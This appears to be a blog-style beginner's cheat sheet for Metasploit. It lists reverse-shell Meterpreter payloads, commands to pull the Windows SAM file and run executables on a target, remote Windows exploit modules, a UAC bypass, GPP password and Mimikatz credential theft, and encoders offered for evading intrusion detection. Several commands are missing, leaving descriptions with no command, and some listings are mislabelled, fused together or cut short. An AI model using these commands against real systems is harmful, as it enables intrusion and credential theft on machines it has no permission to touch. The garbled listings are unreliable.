Metasploit one of the most favorite tool for hacker and pentesters, was developed by H.D. Moore in Perl which later in 2007 was revised in Ruby completely. After it’s high success and demand to security researchers and pen-testers, in 2009, Rapid7 a security company announced that they acquired the Metasploit and now it’s on-board to Rapid7. Learn metasploit commands in this metasploit for beginners guide.

Metasploit is a complete tool-set for penetration testers as it has all the pen-testing tools for breaking into a remote system and web applications. It’s the most advanced and powered tool for security research. It’s a large framework that each module have tons of actions. To make it easier for new users, we here listed some of the most used metasploit commands meterpreter payloads that you can practice and perform.
Metasploit for Beginners
There’s three types of Metasploit commands.

Basic commands (These are the basic operation commands like search, help, info and exit.)
Exploit commands (Exploit commands are the ones used to check out all the exploit options, payloads and targets.)
Exploit execution commands (These are post exploit commands that exploits and execute different operations on a target machine.)

All the most commonly used and Metasploit Basic, Exploit and Exploit Execuation commands for beginners to learn are:

First of all is the command to update Metasploit framework to it’s latest version.

apt update; apt install metasploit-framework

It’s a help command to know about msfconsole and check out it’s all options and commands.


Metasploit search command is for searching exploits and vulnerabilities from msfconsole.


To display all the options of a payload to attack a target machine.

show options

This command is use to check and set listening IP and PORT of the HOST machine to set a statick IP and port forwarding to any specified port.


This command is used to list all the payloads for an exploit.

show payloads

To list down all the vulnerable operating systems to a specified exploit.

show targets

To show advanced options and commands for exploit.

show advanced

Show encoders command returns all the encoders. Encoders used for evading simple IDS/IPS signatures that are looking for certain bytes of your payload.

show encoders

This command will give a list of Nop generators. It is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP.

show nops
Metasploit Commands, Meterpreter Payloads
Windows reverse meterpreter payload


set payload windows/meterpreter/reverse_tcp
Reverse TCP Windows Payload

Android reverse meterpreter payload


set payload android/meterpreter/reverse_tcp
Reverse TCP Android Payload

Windows VNC Meterpreter payload


set payload windows/vncinject/reverse_tcpset ViewOnly false
Reverse TCP Windows VNC Payload

Linux Reverse Meterpreter payload


set payload linux/meterpreter/reverse_tcp
Reverse TCP Linux Payload

Meterpreter Commands
All most useful and commonly used meterpreter commands.


upload file c:\\windows
Meterpreter command for uploading file in a Windows target machine

download c:\\windows\\repair\\sam /tmp
Meterpreter command for downloading file from a Windows target machine

execute -f c:\\windows\temp\exploit.exe
To execute exploits on a remote target system.

execute -f cmd -c
To create a new channel with cmd shell

Shows Meterpreter processes

Meterpreter get shell on the target

This meterpreter command attempts priviledge escalation the target

It dumps hashes on the target machine

portfwd add –l 3389 –p 3389 –r target
Meterpreter command to do port forwarding to target machine

portfwd delete –l 3389 –p 3389 –r target
Meterpreter remove port forwarding

Metasploit Exploits
Here you can find all the most commonly used metasploit exploits.
Remote Windows Metasploit Exploits
All the exploits for attacking a Windows system remotely.


use exploit/windows/smb/ms08_067_netapi
Remote Exploit for MS08_067 Windows 2k, XP, 2003

use exploit/windows/dcerpc/ms06_040_netapi
Remote Exploit for MS08_040 Windows NT, 2k, XP, 2003

use exploit/windows/smb/
Remote Exploit for MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86)

Local Windows Metasploit Exploits
Exploits to work with a local machine.


use exploit/windows/local/bypassuac
UAC Bypass on Windows 7 systems

Auxilary Metasploit Modules


use auxiliary/scanner/http/dir_scanner
Metasploit scanner tool to scan HTTP directory

use auxiliary/scanner/http/jboss_vulnscan
Metasploit JBOSS for vulnerability scanning

use auxiliary/scanner/mssql/mssql_login
Metasploit Credential Scanner for MSSQL

use auxiliary/scanner/oracle/oracle_login
Metasploit scanner for Oracle Login Module

Metasploit Powershell Exploits


use exploit/multi/script/web_delivery
Metasploit shell payload delivery exploit

Upload shell to target and run powershell

use exploit/multi/http/jboss_maindeployer
Metasploit JBOSS deploy

use exploit/windows/mssql/mssql_payload
Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules


run post/windows/gather/win_privs
Metasploit command to show privileges of the current user

use post/windows/gather/credentials/gpp
This Metasploit command grabs all GPP saved passwords

load mimikatz -> wdigest
Metasplit loads Mimikatz

run post/windows/gather/local_admin_search_enum
Searches all the machines with administrative access

These are all the basic metasploit commands for beginners to get started with metasploit. It’s much more than this. But to go ahead, this would be a really good helping hand in the path of penetration testing.